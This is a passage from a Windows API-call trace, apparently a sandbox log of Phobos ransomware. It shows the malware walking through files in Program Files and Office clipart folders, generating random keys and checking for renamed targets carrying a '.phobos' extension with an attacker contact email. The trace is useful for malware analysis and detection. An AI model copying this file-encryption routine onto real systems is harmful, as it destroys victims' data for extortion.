lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2658) returned 1 [0124.698] CloseHandle (hObject=0x580) returned 1 [0124.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0124.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.698] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.699] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.700] ResetEvent (hEvent=0x52c) returned 1 [0124.700] SetEvent (hEvent=0x530) returned 1 [0124.700] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.700] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2532) returned 1 [0124.700] CloseHandle (hObject=0x580) returned 1 [0124.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0124.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.701] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.702] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.702] ResetEvent (hEvent=0x52c) returned 1 [0124.702] SetEvent (hEvent=0x530) returned 1 [0124.702] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.703] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2652) returned 1 [0124.703] CloseHandle (hObject=0x580) returned 1 [0124.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0124.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.703] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.704] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.704] ResetEvent (hEvent=0x52c) returned 1 [0124.704] SetEvent (hEvent=0x530) returned 1 [0124.704] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.705] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2526) returned 1 [0124.705] CloseHandle (hObject=0x580) returned 1 [0124.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0124.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.705] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.706] ResetEvent (hEvent=0x52c) returned 1 [0124.706] SetEvent (hEvent=0x530) returned 1 [0124.706] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.706] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2522) returned 1 [0124.706] CloseHandle (hObject=0x580) returned 1 [0124.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0124.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.706] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.706] ResetEvent (hEvent=0x52c) returned 1 [0124.707] SetEvent (hEvent=0x530) returned 1 [0124.707] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.707] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2568) returned 1 [0124.707] CloseHandle (hObject=0x580) returned 1 [0124.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0124.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.707] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.893] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.893] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=15195) returned 1 [0124.893] CloseHandle (hObject=0x594) returned 1 [0124.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0124.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.895] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.896] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=630) returned 1 [0124.896] CloseHandle (hObject=0x594) returned 1 [0124.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0124.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.896] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.897] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=623) returned 1 [0124.897] CloseHandle (hObject=0x594) returned 1 [0124.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0124.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.897] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.897] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=9804) returned 1 [0124.897] CloseHandle (hObject=0x594) returned 1 [0124.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0124.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.897] ResetEvent (hEvent=0x52c) returned 1 [0124.898] SetEvent (hEvent=0x530) returned 1 [0124.898] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.898] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=9975) returned 1 [0124.898] CloseHandle (hObject=0x594) returned 1 [0124.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0124.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.899] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0125.140] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.144] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2052) returned 1 [0125.144] CloseHandle (hObject=0x594) returned 1 [0125.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0125.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0125.153] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.157] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2232) returned 1 [0125.157] CloseHandle (hObject=0x594) returned 1 [0125.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0125.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.167] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.187] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2024) returned 1 [0125.187] CloseHandle (hObject=0x594) returned 1 [0125.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0125.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.191] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.195] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2296) returned 1 [0125.195] CloseHandle (hObject=0x594) returned 1 [0125.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0125.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.195] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.198] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=1768) returned 1 [0125.198] CloseHandle (hObject=0x594) returned 1 [0125.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0125.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.199] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.203] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=900) returned 1 [0125.203] CloseHandle (hObject=0x594) returned 1 [0125.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0125.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.207] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.207] CreateFileW 